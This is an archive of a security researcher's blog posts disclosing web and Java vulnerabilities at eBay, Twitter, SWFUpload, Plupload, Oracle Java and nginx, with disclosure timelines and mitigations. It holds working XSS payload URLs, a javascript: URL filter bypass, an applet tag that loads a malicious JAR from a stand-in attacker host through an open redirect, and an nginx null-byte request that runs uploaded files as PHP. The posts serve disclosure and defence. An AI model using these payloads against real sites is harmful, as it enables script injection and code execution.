Tag: security
2013
03.14

Summary

In mid-2012 I discovered and reported a combination of CSRF and persistent XSS on my.ebay.com. This report was quickly acknowledged by eBay but the vulnerabilities have not been fixed almost a year after the initial disclosure. To mitigate the potential risk, I would recommend that users log out of their eBay accounts when browsing other websites.

Details

The my.ebay.com website has a section in the left sidebar called “Shortcuts.” These shortcuts, by default, are pre-defined links to sections of eBay. It is possible for a user to edit the list of shortcuts and to add their own, pointing to arbitrary URLs.

I reported two distinct but related vulnerabilities to eBay:

  1. It is possible to create a shortcut that will execute JavaScript when clicked on by writing a somewhat convoluted JavaScript URL: the example I used was javascript://%0D%0Aalert(document.domain);. A URL in this format allows me to evade eBay’s filters but still have JavaScript execute in the latest versions of Firefox, Chrome, and IE. A slightly more detailed explanation of how this URL works can be found at http://sla.ckers.org/forum/read.php?2,13209,page=1#msg-13248.
  2. The endpoints that eBay uses to add a shortcut and to remove existing shortcuts are vulnerable to a CSRF attack.

Taken together, these vulnerabilities allow me to create a shortcut on a logged-in eBay user’s account that, when clicked, executes JavaScript.

Because the vulnerabilities remain unpatched I will not be publishing the proof of concept code that I sent to eBay.

Disclosure Timeline

  • May 11th, 2012, 11:56 AM: Submitted details of vulnerability via “Security Researchers” form.
  • May 11th, 2012, 3:12 PM: Reply from eBay. Report acknowledged, details forwarded to engineering team.
  • May 23rd, 2012: Sent followup asking for any updates.
  • May 24th, 2012, 5:09 PM: Asked to provide more details (screenshot, more explicit steps to reproduce) to assist in reproducing the issue.
  • May 24th, 2012, 5:23 PM: Sent reply containing screenshot and more explicit steps to reproduce the issue.
  • June 9th, 2012: Sent followup asking for any updates.
  • June 11th, 2012: According to eBay’s responsible disclosure guidelines, this issue may be discussed publicly (“Allow us a reasonable amount of time (at least 30 days from when we receive your disclosure under this process to respond to the issue before disclosing it to others”).
  • June 12th, 2012: Reply received from eBay: “Not yet. We’ll let you know when this is resolved.”
  • February 8th, 2013: Sent followup asking for any updates. Advised eBay of plans to publish details of the vulnerability within a week.
  • February 11th, 2013, 4:19 PM: Received reply from eBay. Asked to adhere to their responsible disclosure guidelines and not to disclose the details of the issue until it has been fixed. Offered “to send [me] some eBay branded gifts and acknowledge [me] on [their] Security Researcher’s Acknowledgment page once this vulnerability is fixed”.
  • February 11th, 2013, 4:31 PM: Reply sent. Pointed out that responsible disclosure guidelines do not preclude me from talking about an issue that was reported 8+ months prior. Agreed to hold off discussing the issue until March 14th.
  • February 11th, 2013, 5:12 PM: Received acknowledgement of reply.
  • February 15th, 2013: Received “eBay branded gifts” in mail.
  • March 14th, 2013, 4:50 PM: Confirmed vulnerabilities remain unpatched. Published blog post. Contacted eBay to inform them about the post.
  • March 14th, 2013, 10:19 PM: Reply from eBay indicating vulnerability is patched. Confirmed that some vulnerable functionality (ability to define shortcuts with arbitrary URLs) has been removed.

Note: I have replaced a link in the Disclosure Timeline with a link to the Internet Archive’s version of the same page. eBay decided to silently change its responsible disclosure guidelines between February 11th and March 14th.

The original text of their “guidelines for responsible disclosure”:

  • Share the security issue with us before making it public on message boards, mailing lists, and other forums.
  • Allow us a reasonable amount of time (at least 30 days from when we receive your disclosure under this process to respond to the issue before disclosing it to others.
  • Provide full details of the security issue, including Proof-of-Concept URL and the details of the system where the tests were conducted.

The new text:

  • Share the security issue with us before making it public on message boards, mailing lists, and other forums.
  • We request that you wait until notified that the vulnerability has been resolved before disclosing it to others. We take the security of our customers very seriously, however some vulnerabilities take longer than others to resolve. There are several teams involved in working on these vulnerabilities depending on which site has the vulnerability and what function is being exploited.
  • Provide full details of the security issue, including Proof-of-Concept URL and the details of the system where the tests were conducted.

Because I disclosed this issue to eBay prior to the changes to the policy, I will be leaving this post public.

Note 2: I received the following email from eBay:

Hi Neal,

We thank you for your work and your dedication to keeping the eBay community secure. We prefer that security-related information is always kept confidential. The technical teams verified the fix is working in production. Please verify.

eBay Security Research

The functionality for creating a new shortcut to an arbitrary URL appears to have been entirely removed from the site. That means there is no way to introduce a persistent XSS payload to the site. The rest of the vulnerability (the CSRF which controls which shortcuts are displayed) still functions, but is no more than a minor annoyance.

The disclosure timeline has been updated to reflect these developments.

2013
01.20

Summary

Over a year ago I identified a signed Java applet which could be used to download and execute arbitrary applications onto a user’s machine. I reported this applet to Oracle and to the vendor. Although the vendor has worked to provide an updated, secure version of the applet to its clients, Oracle has taken no action to disable the insecure version of the applet.

Given the current discussions on the state of Java security, I felt it appropriate to highlight a feature of Java which isn’t used very much and which many people don’t know about: the JAR blacklist. This feature could be used more effectively to address situations where signed Java applets can be abused.

How does the JAR blacklist work?

Oracle describes the blacklist as follows:

A blacklist is a list of signed jars that contain serious security vulnerabilities that can be exploited by untrusted applets or applications. A system-wide blacklist will be distributed with each JRE release. Java Plugin and Web Start will consult this blacklist and refuse to load any class or resource contained in a jar file that’s on the blacklist.

There are two blacklists that are used: a system-wide blacklist that is distributed with Java (deployment.system.security.blacklist) and a user-determined blacklist (deployment.user.security.blacklist). On my laptop they were in C:\Program Files\Java\jre7\lib\security\blacklist and C:\Users\USERNAME\AppData\LocalLow\Sun\Java\Deployment\security\blacklist,
 respectively.

The blacklists are simply hashes of the signed JARs: when a JAR is downloaded, the JRE refuses to run it if its signature matches the blacklist.

As Oracle’s description of the JAR blacklist mentions, the system-wide blacklist is distributed with each release of the JRE. That means in order to blacklist a new applet, a new version of the JRE needs to be released.

Oracle does not appear to proactively add entries to the blacklist. Instead, vendors can reach out to Oracle by emailing secalert_us@oracle.com to ask that their applet be blacklisted. Below is an email that was sent to me and the vendor by an employee of Oracle regarding their blacklisting policy:

Java SE includes a mechanism for blacklisting jars. See “Blacklist Jar Feature” at:

http://www.oracle.com/technetwork/java/javase/6u14-137039.html

We can evaluate including blacklist entries for your signed applet and will need the following information:

* Company name and address
* Company web page address (URL)
* Contact for company

1. Are you the publisher of the vulnerable jars?
2. How many jars are affected (this should include all versions that have been released)?
3. What is the link to the advisory for the vulnerability?

What applets are currently blacklisted?

I extracted the latest blacklist from my installation of Java (found in C:\Program Files\Java\jre7\lib\security\blacklist):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# JNLPAppletLauncher applet-launcher.jar  
SHA1-Digest-Manifest: 5Bo5/eg892hQ9mgbUW56iDmsp1k=

# 7066583  
SHA1-Digest-Manifest: x17xGEFzBRXY2pLtXiIbp8J7U9M=  
SHA1-Digest-Manifest: ya6YNTzMCFYUO4lwhmz9OWhhIz8=  
SHA1-Digest-Manifest: YwuPyF/KMcxcQhgxilzNybFM2+8=

# 7066809  
SHA1-Digest-Manifest: dBKbNW1PZSjJ0lGcCeewcCrYx5g=  
SHA1-Digest-Manifest: lTYCkD1wm5uDcp2G2PNPcADG/ds=  
SHA1-Digest-Manifest: GKwQJtblDEuSVf3LdC1ojpUJRGg=

7066583 corresponds to a vulnerability in the Cisco AnyConnect Mobility Client, while 7066809 corresponds to a vulnerability in the Microsoft UAG Client applet. That’s a total of 7 JARs over 3 distinct products.

To blacklist the applet that I discovered, you can add the following line to your user blacklist file:

SHA1-Digest-Manifest: juvzxh6HWxwJuK/Vz267YFzTgqw=

Note that there may be other, older versions of the applet that I am not aware of.

How does the blacklist feature compare to other systems?

  • The system-wide blacklist is tied to a JRE release
    This is in contrast to the blacklists used by Google Chrome and Firefox to block malicious extensions: such lists can be updated dynamically and are not tied to a software release.
  • The blacklist has a total of 7 entries
    To compare, Google Chrome’s blacklist has 450 extensions listed on it, while Firefox has blocked numerous add-ons over the years.
  • Vendors are the only ones who can submit entries to be blacklisted
    I’m not aware of other blacklists where this is a requirement. Most other systems will take into account user reports and perform their own evaluations.

Vulnerability Details / Disclosure Timeline

The vulnerable signed JAR itself is not very interesting: it’s designed to download and run an executable specified by a properties file, which is in turn hosted on a server. At no point is there any validation of the properties file or executable; as such, it’s trivial to take the JAR and point it at an attacker-controlled properties file, which in turn points to an attacker-controlled executable. It’s a textbook example of a bad signed JAR and is fairly trivial to exploit.

The vendor has since released a version of their JAR which requires a valid signature for any executable that is downloaded. However, because the old applet is still available on the Internet and has not been blacklisted, it is potentially valuable for attackers. For that reason I have chosen not to release the vendor’s name.

Below is a timeline of all communications between me, the vendor, and Oracle. Unless otherwise stated, emails sent to the vendor were also CC’ed to Oracle.

  • December 13th, 2011: Email sent to secalert_us@oracle.com informing them of the insecure applet and providing them with a proof of concept.
  • December 14th, 2011, 4:09 PM: Reply from Oracle, asking for additional steps to reproduce.
  • December 14th, 2011, 5:10 PM: Email sent to Oracle, additional steps provided.
  • December 14th, 2011, 8:07 PM: Reply from Oracle, asking for clarification.
  • December 14th, 2011, 11:06 PM: Email sent to Oracle, attempting to clarify.
  • December 15th, 2011, 4:54 PM: Reply from Oracle, opening case and providing tracking number.
  • December 21st, 2011: Reply from Oracle, confirming vulnerability. “We have confirmed the vulnerability in the signed applet from [Vendor]. As the vulnerability is in signed applet, we recommend that you report it to [Vendor] if you had not already done so. Oracle Java SE has a blacklisting feature and [Vendor] may request for their applet to be blacklisted.”
  • December 21st, 2011: Email sent to Oracle, asking for clarification on blacklisting policy.
  • December 23rd, 2011: Reply from Oracle, reiterating previous email. Suggestion to contact vendor and CC them.
  • December 23rd, 2011 7:08 PM: Email sent to vendor with Oracle CC’ed, explaining vulnerability.
  • December 23rd, 2011 7:16 PM: Reply from vendor, acknowledging report and forwarding to engineers.
  • January 20th, 2012: Email sent to vendor, asking for status update
  • January 22nd, 2012: Vendor replies, acknowledges vulnerability, describes additional protections being taken for the future
  • January 22nd, 2012: Email sent to vendor, acknowledging their email and thanking them for their diligence to resolve the issue
  • February 15th, 2012: Oracle sends email to vendor, explaining blacklisting procedure.
  • February 15th, 2012: Vendor replies, forwarding details to engineering team.
  • April 9th, 2012: Email sent to vendor, asking for status update
  • April 10th, 2012: Reply from vendor. Vulnerability has been addressed in current release. In process of deployment to customers.
  • September 1st, 2012: Email sent to vendor, asking for status update
  • September 10th, 2012: Reply from vendor. Deployment to customers ongoing.
  • September 10th, 2012: Email sent to vendor, asking about blacklisting status.
  • September 11th, 2012: Reply from vendor. Will contact me when deployments are closer to completion.
  • September 12th, 2012: Reply from Oracle, reiterating the blacklisting procedure.
  • September 12th, 2012: Reply from vendor, acknowledging Oracle’s email.
  • January 16th, 2013: Email sent to vendor and Oracle, alerting them of plans to publish this blog post on January 23rd
  • January 18th, 2013: Reply from oracle, acknowledging email and reiterating blacklisting procedure.
2012
05.17

Summary

Nathan Partlan and I discovered and reported vulnerabilities in two common Flash applets, SWFUpload and Plupload. SWFUpload’s developers have not released a fix for the XSS issue identified. Plupload’s developers have released v1.5.4 to address the identified CSRF issue.

Both of these applets are present in Wordpress installations. These vulnerabilities were addressed as part of Wordpress 3.3.2.

Vulnerability #1: XSS in SWFUpload (CVE-2012-3414)

The latest version of SWFUpload (ActionScript code available here) contains the following code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// Get the movie name
this.movieName = root.loaderInfo.parameters.movieName;

// **Configure the callbacks**
// The JavaScript tracks all the instances of SWFUpload on a page.  We can access the instance
// associated with this SWF file using the movieName.  Each callback is accessible by making
// a call directly to it on our instance.  There is no error handling for undefined callback functions.
// A developer would have to deliberately remove the default functions,set the variable to null, or remove
// it from the init function.
this.flashReady_Callback         = "SWFUpload.instances[\"" + this.movieName + "\"].flashReady";
this.fileDialogStart_Callback    = "SWFUpload.instances[\"" + this.movieName + "\"].fileDialogStart";
this.fileQueued_Callback         = "SWFUpload.instances[\"" + this.movieName + "\"].fileQueued";
this.fileQueueError_Callback     = "SWFUpload.instances[\"" + this.movieName + "\"].fileQueueError";
this.fileDialogComplete_Callback = "SWFUpload.instances[\"" + this.movieName + "\"].fileDialogComplete";

this.uploadStart_Callback        = "SWFUpload.instances[\"" + this.movieName + "\"].uploadStart";
this.uploadProgress_Callback     = "SWFUpload.instances[\"" + this.movieName + "\"].uploadProgress";
this.uploadError_Callback        = "SWFUpload.instances[\"" + this.movieName + "\"].uploadError";
this.uploadSuccess_Callback      = "SWFUpload.instances[\"" + this.movieName + "\"].uploadSuccess";

this.uploadComplete_Callback     = "SWFUpload.instances[\"" + this.movieName + "\"].uploadComplete";

this.debug_Callback              = "SWFUpload.instances[\"" + this.movieName + "\"].debug";

this.testExternalInterface_Callback = "SWFUpload.instances[\"" + this.movieName + "\"].testExternalInterface";
this.cleanUp_Callback            = "SWFUpload.instances[\"" + this.movieName + "\"].cleanUp";
this.buttonAction_Callback       = "SWFUpload.instances[\"" + this.movieName + "\"].buttonAction";

Each of those callbacks is used as the first parameter to ExternalInterface.call, which executes JavaScript in the context of the current page. Since movieName is derived from user input (a Flash parameter) and a Flash applet can be loaded directly (with parameters in the URL), the Flash applet allows for reflected cross-site scripting. For sites where the applet is hosted on the same domain as the main website, this is a serious security concern.

At this point, I’m not aware of a patched version of the applet source (let me know in the comments if there is one!). My suggestion would be to filter the movieName parameter so that only alpha-numeric characters are allowed.

Proof of Concept: http://demo.swfupload.org/v220/swfupload/swfupload.swf?movieName=%22%5d%29;}catch%28e%29{}if%28!self.a%29self.a=!alert%281%29;//

Vulnerability #2: CSRF in Plupload (CVE-2012-3415)

The Plupload applet called Security.allowDomain('*') to allow the applet to be used from any domain (so it could be served from S3, for instance). That meant people could interact with the Plupload applet from any other site on the Internet by embedding it on a page and using JavaScript. But due to the way the same-origin policy works in Flash, the applet could still make requests back to the domain on which it was hosted. In addition, people can specify the full URL for an upload request via JavaScript and the result of that request (ie: the HTML of the resulting page) is passed back via JavaScript to the embedding page.

So, if an attacker could convince a target to interact with the applet (by selecting a single file to be uploaded), the attacker could make a request to the domain that the applet was hosted on and read back the full response. That could disclose CSRF tokens or other sensitive information. This issue was especially important for Wordpress installations, where Plupload applets are hosted inside of the wp-includes directory by default.

The issue was resolved by removing the call to Security.allowDomain('*') by default.

Conclusion

Third-party Flash applets are vulnerable to many of the same sorts of attacks as other parts of web applications. However, they are often included in sites without a proper understanding of the security risks.

Update (08/01/2012): I’ve updated the post to include the CVE identifiers assigned to these vulnerabilities.

2012
04.13

Summary

I recently reported two separate and distinct security vulnerabilities to Twitter: one involving the Twitter API and one involving Twitter’s translation site, http://translate.twttr.com. As a result of one (or both) of these reports, I was added to Twitter’s White Hat page.

Issue #1: CSRF / Logic Error in OAuth Token Revocation

  1. I noticed that the endpoint for revoking an OAuth app’s authorization (https://twitter.com/oauth/revoke?token=token=SOME-VALUE) could be accessed successfully via a GET and without any sort of CSRF token. Note that the same endpoint is used for revoking and for “undoing” a revocation: the action taken depends on the state of the token.

    That meant an attacker could trick a user into revoking and/or reauthorizing an application that the user had previously accepted. However, the attacker would have to discover the token value: it wasn’t clear to me if that value was disclosed to a client application or not.

  2. I noticed that once an authorization had been revoked, the revocation could be undone for a fairly long period of time (at least a day). That behavior was not obvious from the Twitter UI.

Taken together, those vulnerabilities allowed a malicious application (which knew the token value) to prevent itself from being deauthorized; if it detected that a user had revoked its access, it could have used the CSRF attack to reauthorize itself. The CSRF vulnerability now appears to have been patched.

Issue #2: Reflected XSS on http://translate.twttr.com

(Note: I didn’t take notes on this vulnerability, so my recollection is slightly hazy)

The forum on the translation site (http://translate.twttr.com/cms/forum/) allows users to post a limited subset of HTML. It used a widget (I believe it was a version of TinyMCE) to allow for easy formatting of posts. Unfortunately, this widget would render some HTML tags containing malicious content (ie: <iframe> tags with an src of javascript:alert(1)). The widget appears to have been removed.

2012
03.31

Summary

Lately, there have been a few discussions on Hacker News about Cross-Site Request Forgery (CSRF).[1], [2] In those discussions, I noticed that several commenters (and blog post authors) were advocating for the use of X-Frame-Options as a mitigation technique.[3], [4], [5], [6] Unfortunately, while X-Frame-Options is meant to mitigate a similar type of attack (clickjacking), it provides no protection whatsoever against CSRF. This blog post is intended to provide some background resources on CSRF and clickjacking, as well as explain how X-Frame-Options fits in as a mitigation technique.

So what is CSRF?

See OWASP, Freedom to Tinker, and Chris Shiflett’s site for some solid explanations of CSRF.

In summary, a CSRF vulnerability is when a third-party website (evil-attacker.com) can convince your browser to make a request to a site where you’re already logged in (good-site.com) and that site accepts the request as if you had initiated it yourself.

So what is clickjacking?

See OWASP and SecTheory.com for some good explanations of the issues at hand.

In summary, a clickjacking vulnerabilities involves an attacker convincing you to initiate a request to a site (good-site.com) by interacting with UI elements on that site when you think you’re actually interacting with another site (say, evil-attacker.com).

Wait, those sound pretty similar

Yes, they do. But there is a very important distinction between them: a clickjacking attack requires the victim to interact with UI elements on a targeted website, whereas CSRF does not inherently require interaction on the victim’s part.

So how does X-Frame-Options fit in?

X-Frame-Options is a mitigation technique for clickjacking attacks. It is an HTTP response header sent by the server to indicate under what circumstances page contents should be displayed in a frame context. A browser that understands the header will not display the contents of a page if the header directive is violated (for instance, if evil-example.com puts good-site.com in an iframe but good-site.com sends a header that says X-Frame-Options: DENY. Thus, no clickjacking can occur because no UI elements can be displayed to a victim.

It provides no protection against CSRF. Why? Because CSRF isn’t concerned with the display of a page. In a CSRF attack, the attacker doesn’t care about the response at all: the request is the only important thing. Thus, X-Frame-Options can provide no protection and no mitigation for CSRF.

2011
10.18

Summary

Java 1.7 and Java 1.6 Update 27 and below do not properly enforce the same-origin policy for applets which are loaded via URLs that redirect. A malicious user can take advantage of this flaw to attack websites which redirect to third party content. This issue was patched in both Java 7 and Java 6 as part of the October 2011 Critical Patch Update. This issue has been assigned CVE-2011-3546.

What is the same-origin policy

From Wikipedia:

In computing, the same origin policy is an important security concept for a number of browser-side programming languages, such as JavaScript. The policy permits scripts running on pages originating from the same site to access each other’s methods and properties with no specific restrictions, but prevents access to most methods and properties across pages on different sites.

The origin for a Java applet is the hostname of the website where the applet is served from. So, for example, if I upload an applet to http://example.com/applet.jar, that applet’s origin is example.com. We care about the origin for security reasons: the same-origin policy ensures that an applet is only allowed to make HTTP requests back to the domain from which it originates (or to another domain which resolves to the same IP address, but we can ignore that behavior here).

So, where’s the security vulnerability?

Under certain conditions, the JRE did not correctly determine the origin of an applet. Specifically, when loading an applet via a URL that performed an HTTP redirect, the Java plugin used the original source of the redirect, not the final destination, as the applet’s origin.

If you’re confused, an example might help to illustrate things. Lets first start by imagining a website, example.com, that contains an open redirect. In other words, imagine that browsing to http://example.com/redirect.php?url=http://www.google.com redirects the user to http://www.google.com using a 301 or 302 redirect. Now, lets consider an attacker who controls the domain evildomain.com. This is what the attacker does:

  1. Writes a malicious Java applet that accesses http://example.com
  2. Uploads that applet to http://evildomain.com/evil.jar
  3. Constructs a redirect from http://example.com to the malicious applet (http://example.com/redirect.php?url=http://evildomain.com/evil.jar)
  4. Creates a malicious page anywhere on the Internet containing the following HTML:

    1
    2
    3
    4
    5
    <applet
    code="CSRFApplet.class"
    archive="http://example.com/redirect.php?url=http://evildomain.com/evil.jar"  
    width="300"
    height="300"></applet>
    

So what happens when a user visits that page? Well, lets first think about what we would want to happen:

  1. The user loads the page
  2. The user’s browser fetches the Java applet.
  3. The Java applet executes.
  4. The Java applets tries to access http://example.com but fails because the applet was served up by http://evildomain.com, violating the same-origin policy.

Now, here’s what actually happened:

  1. The user loads the page
  2. The user’s browser fetches the Java applet.
  3. The Java applet executes.
  4. The Java applets tries to access http://example.com AND SUCCEEDS !!!

That behavior is dangerous for websites that redirect to third party content: since HTTP requests made via Java applets inherit a user’s cookies from the browser (minus those marked as HttpOnly), an attacker who exploits this vulnerability is able to steal sensitive information or perform a CSRF attack against a targeted website. Any users who have not upgraded to the latest version of Java are vulnerable to attack.

How to protect your website

Java applets are client-side technology, but this vulnerability has a very real impact on website owners. Aside from waiting for your users to upgrade to the latest version of Java, here are some steps you can take to protect your site:

1. Block requests containing Java’s user-agent from accessing your redirects

This solution is fairly simple. By denying requests made by Java applets to redirect scripts on your site, you can prevent a malicious applet from being loaded. The UAs you’ll want to block contain the string “Java/” (without the quotation marks).
[Note: Blocking that string may be overly broad: I haven’t researched whether other software claims to be Java. I’ll update this post if I’m made aware of any conflicts.]

2. Use HttpOnly cookies

Java is not able to read or make requests with cookies that are marked HttpOnly. As a result, this attack can not be used to access or make requests to the authenticated portion of any site that uses HttpOnly cookies.

3. Don’t redirect to third party content

Open redirects are considered to be problematic for a number of reasons (including their use in phishing attacks). If at all possible, you should avoid them entirely, or heavily restrict the locations that they can redirect to.

Disclosure Timeline

  • December 28th, 2010: Vulnerability discovered
  • January 10th, 2011: Built two proofs of concept involving major websites (will not be disclosed publicly)
  • January 11th, 2011: Email sent to vendor. Disclosed full details of vulnerability, including proofs of concept
  • January 12th, 2011: Vendor acknowledges receipt of email
  • January 25th, 2011: Followup email sent to vendor, inquiring about status
  • January 26th, 2011: Vendor replies: issue is still being investigated
  • February 15th, 2011: [A Java SE Critical Patch Update is released][]
  • March 15th, 2011: Followup email sent to vendor, inquiring about status
  • March 18th, 2011: Vendor replies: issue is still being investigated
  • March 24th, 2011, 5:44 AM: Vendor sends automated status report email that fails to mention this vulnerability
  • March 24th, 2011, 8:04 AM: Followup email sent to vendor, inquiring about status
  • March 24th, 2011, 4:44 PM: Vendor acknowledges vulnerability, plans to address in a future update
  • April 25th, 2011: Vendor sends automated status report email that fails to mention this vulnerability
  • May 23rd, 2011, 9:44 AM: Followup email sent to vendor inquiring about the status of a fix
  • May 23rd, 2011, 2:24 PM: Vendor replies: plans to address vulnerability in October 2011 Java Critical Patch Update
  • May 24th, 2011: Vendor sends automated status report email that fails to mention this vulnerability
  • June 7th, 2011: A Java SE Critical Patch Update is released
  • June 23rd, 2011: Vendor sends automated status report email that fails to mention this vulnerability
  • July 22nd, 2011, 5:24 AM: Vendor sends automated status report email that fails to mention this vulnerability
  • July 22nd, 2011, 8:04 AM: Followup email sent to vendor, inquiring about status
  • July 22nd, 2011, 1:33 PM: Vendor replies, apologizes for not including vulnerability in status report. Reiterates that a fix for the vulnerability is targeted for the October 2011 Java Critical Patch Update
  • July 28th, 2011: Java 7 is released. Testing reveals the vulnerability has not been patched. Email with vendor confirms.
  • August 23rd, 2011: Vendor sends automated status report email. Vulnerability is now included and is marked “Issue fixed in main codeline, scheduled for a future CPU
  • September 23rd, 2011: Vendor sends automated status report email. Vulnerability is marked “Issue fixed in main codeline, scheduled for a future CPU
  • October 14th, 2011: Vendor sends out email confirming that vulnerability will be patched in CPU to be released on October 18th.
  • October 18th, 2011: Java 6 Update 29 and Java 7 Update 1 are released, patching the vulnerability.

Anything else?

It appears Firefox was vulnerable to a similar attack back in 2007:

The blogger at beford.org noted that redirects confused Mozilla browsers about the true source of the jar: content: the content was wrongly considered to originate with the redirecting site rather than the actual source. This meant that an XSS attack could be mounted against any site with an open redirect even if it didn’t allow uploads. A published proof-of-concept demonstrates stealing the GMail contact list of users logged-in to GMail.

It also appears that people have been aware of similar attacks against Java for a while now. I stumbled across a post on http://sla.ckers.org/ that mentioned using redirects to JARs as a way to steal cookies. I believe the “fix” referred to in the post (which only covers cookie stealing) was made in response to this vulnerability from 2010.

If you have any questions about the vulnerability, please feel free to leave them in the comments!

2011
10.18

Summary

The Java Deployment Toolkit Plugin v6.0.240.7 and below for Firefox and Google Chrome can be used to download and run an improperly signed executable on a target’s system. UAC, if enabled, will prompt the user before running the executable. This vulnerability has been tested and confirmed to exist on Windows 7, both 32-bit and 64-bit. It was fixed in Java 7 and Java 6 Update 29. This issue has been assigned CVE-2011-3516.

What is the Java Deployment Toolkit?

The Java Deployment Toolkit Plugin is designed to simplify the lives of developers who work with Java applets and Java Web Start applications. It provides a JavaScript interface in the browser that developers can use to perform tasks like check JRE versions and launch Java applications. It was released as a part of Java 6 Update 10 and exists in Internet Explorer, Firefox, and Google Chrome. Since being released, it has been the source of several serious security vulnerabilities. [1] [2] [3]

How does the vulnerability work?

If a browser has the Deployment Toolkit plugin installed, a webpage can use JavaScript to silently trigger the installation of a Java update by calling the installLatestJRE() function on an instance of the Deployment Toolkit NPAPI plugin. When that function is called, the plugin makes a request to java.sun.com over HTTP to fetch the installer for the latest version of Java.

In Internet Explorer, the plugin appeared to validate the signature on the installer after the file was downloaded. If it encountered an unexpected or missing signature, it did not execute the file and alerted the user. However, no such check occurred in Firefox or Chrome. As a result, a malicious attacker on a user’s network would be able to trigger the download and execution of an arbitrary file. In my testing, redirecting the traffic for java.sun.com and serving up an executable at http://java.sun.com/webapps/download/AutoDL was all that was necessary. Accordingly, this vulnerability can easily be used with a tool like EvilGrade.

If UAC is enabled on the targeted machine, the user is prompted before executing the file. However, the file is saved in the %TEMP% directory as JREInstallYYY_XX.exe, where YY is the major version (ie: 160, 170) XX is the update number of the latest release. As a result, it may be possible to trick the user into believing that a malicious executable is actually a legitimate update.

Note that in Google Chrome a user is prompted with an infobar before the Java plugin is allowed to execute. The user would have to select the option to “Always run on this site” in order for the payload to be downloaded.

Disclosure Timeline

  • Mid-February, 2011: Vulnerability discovered. Set up a test server (a server that hosts a binary in the proper location for download)
  • February 24th, 2011: Email sent to vendor. Disclosed details of vulnerability, including IP of test server and steps to reproduce.
  • February 24th, 2011: Bug 636633 filed with Mozilla
  • February 25th, 2011: Vendor acknowledges receipt of email
  • March 8th, 2011 12:24 AM: Vendor replies, could not reproduce the issue
  • March 8th, 2011 1:35 AM: Email sent to vendor: suggested disabling UAC
  • March 8th, 2011 10:20 AM: Email sent to vendor: other troubleshooting steps
  • March 14th, 2011 10:04 PM: Vendor replies, could not reproduce the issue after extensive testing
  • March 14th, 2011 11:11 PM: Email sent to vendor: updated binary on test server to yield better results
  • March 15th, 2011 8:44 AM: Vendor replies, confirms issue on Windows 7, requests that test server remain operational
  • March 15th, 2011 10:11 AM: Email sent to vendor: acknowledging request to keep test server running
  • March 20th, 2011 12:06 PM: Email sent to vendor: new IP for test server
  • March 20th, 2011 9:09 PM: Vendor replies, acknowledging new IP
  • March 24th, 2011: Vendor sends automated status report email. Vulnerability is “Under investigation / Being fixed in main codeline”
  • April 25th, 2011: Vendor sends automated status report email. Vulnerability is “Under investigation / Being fixed in main codeline”
  • May 23rd, 2011, 9:44 AM: Followup email sent to vendor inquiring about the status of a fix
  • May 23rd, 2011, 2:24 PM: Vendor replies: plans to address vulnerability in October 2011 Java SE Critical Patch Update
  • May 24th, 2011: Vendor sends automated status report email. Vulnerability is “Under investigation / Being fixed in main codeline”
  • June 7th, 2011: A Java SE Critical Patch Update is released
  • June 17th, 2011: Updated Bug 636633 with the most recent information.
  • June 17th, 2011: Verified that the issue also exists in the plugin used in Chrome. Filed Issue 86526. Sent email to vendor.
  • June 20th, 2011: Vendor replies, says that fix will also address issue in Chrome
  • June 23rd, 2011: Vendor sends automated status report email. Vulnerability is “Under investigation / Being fixed in main codeline”
  • July 22nd, 2011: Vendor sends automated status report email. Vulnerability is “Under investigation / Being fixed in main codeline”
  • July 28th, 2011: Java 7 is released. Testing reveals the vulnerability has been silently patched. Email with vendor confirms.
  • August 23rd, 2011: Vendor sends automated status report email. Vulnerability is now marked “Issue fixed in main codeline, scheduled for a future CPU
  • September 23rd, 2011: Vendor sends automated status report email. Vulnerability is marked “Issue fixed in main codeline, scheduled for a future CPU
  • October 14th, 2011: Vendor sends out email confirming that vulnerability will be patched in CPU to be released on October 18th.
  • October 14th, 2011: Vendor releases Java 6 Update 29, which patches the vulnerability.

Wrapup

I want to thank Oracle Security Alerts for working with me to verify and patch this vulnerability.

2011
08.24

After publishing my previous blog post on PHP, nginx configuration, and potential arbitrary code execution, I came across a separate null-byte injection vulnerability in older versions of nginx (0.5.*, 0.6.*, 0.7 <= 0.7.65, 0.8 <= 0.8.37). By taking advantage of this vulnerability, an attacker can cause a server that uses PHP-FastCGI to execute any publicly accessible file on the server as PHP.

In vulnerable versions of nginx, null bytes are allowed in URIs by default (their presence is indicated via a variable named zero_in_uri defined in ngx_http_request.h). Individual modules have the ability to opt-out of handling URIs with null bytes. However, not all of them do; in particular, the FastCGI module does not.

The attack itself is simple: a malicious user who makes a request to http://example.com/file.ext%00.php causes file.ext to be parsed as PHP. If an attacker can control the contents of a file served up by nginx (ie: using an avatar upload form) the result is arbitrary code execution. This vulnerability can not be mitigated by nginx configuration settings like try_files or PHP configuration settings like cgi.fix_pathinfo: the only defense is to upgrade to a newer version of nginx or to explicitly block potentially malicious requests to directories containing user-controlled content.

1
2
3
4
5
6
# This location block will prevent an attacker from exploiting
# this vulnerability using files in the 'uploads' or 'other_uploads' directory
location ~ ^/(uploads|other_uploads)/.*.php$
{
    deny all;
}

Although the affected versions of nginx are relatively old (0.7.66 was released June 7th, 2010, 0.8.38 was released May 24th 2010), no mention of the change appears in the release notes. As a result, administrators may be running vulnerable servers without realizing their risk. I discovered a couple places where vulnerable packages were being distributed:

  1. Ubuntu Lucid Lynx (Ubuntu’s current LTS offering) and Hardy Heron (via both the hardy and hardy-backports repositories) provided vulnerable versions of nginx via apt-get. The lucid and hardy packages have been updated: hardy-backports is awaiting approval. [1] [2]
  2. Fedora provides a vulnerable version in its EPEL-4 repository. At this time, an updated package has not been released.

I sent several emails to igor@sysoev.ru regarding the vulnerability. I sent the first on June 24th and I sent followups on July 4th, July 20th, and August 2nd. I received the following reply to my August 2nd email:

Thank you for report.

I do not consider this as nginx security issue since every application
should validate its input data, so nginx passed the data to application.
Also this is PHP installation issue where scripts and user uploaded
data are not separated. This issue was discussed several times on mailing
 list.

At some point I’ve decided that zero byte in URI should not appear
in any encoding, operating system, etc., and just makes more problems
than helps. So I have remove zero byte test.

For anyone who’s curious, the changes can be found at r3528 from svn://svn.nginx.org. At that time, it appears trunk corresponded to nginx 0.8: r3599 merged r3528 into the nginx 0.7 branch. The corresponding commit message is “remove r->zero_in_uri.” I’ve reproduced the output of svn diff below:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
